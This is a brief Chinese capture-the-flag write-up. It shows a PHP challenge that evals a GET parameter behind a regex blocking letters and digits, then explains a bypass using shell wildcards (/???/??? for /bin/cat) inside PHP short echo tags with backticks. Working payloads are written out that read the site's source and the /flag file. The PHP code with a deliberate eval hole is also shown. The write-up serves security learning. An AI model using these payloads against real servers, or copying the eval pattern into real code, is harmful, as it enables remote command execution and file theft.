<?php error_reporting(0); if(!isset($_GET['code'])){ highlight_file(__FILE__); }else{ $code = $_GET['code']; if(preg_match("/[A-Za-z0-9_$@]+/",$code)){ die('fighting!'); } eval($code); }
代码审计后,发现对输入code进行了正则表达式匹配,过滤了英文大小写字母、数字和_$@三个特殊字符。
本题的关键就是绕过正则匹配,执行eval()函数。
解题思路:
- 利用通配符调用Linux系统命令来查看flag
- 在Linux系统中可以使用 ? * 等字符来正则匹配字母
- 星号(*)可以用来代替0个及以上任意字符
- 问号(?)可以用来代替1个任意字符,比如 /???/??? => /bin/cat
首先,构造payload如下:
?><?=`/???/???%20/???/???/????/*`?> php使用短链接含义如下: <?php echo `/bin/cat /var/www/html/index.php`?>
读取到源码发现存在如下函数(我没找到?):
function getFlag(){ $flag = file_get_contents('/flag'); echo $flag; }
最后直接读取flag文件。
?code=?><?=`/???/??? /????`?>
php使用短链接含义如下: <?php echo `/bin/cat /flag`?>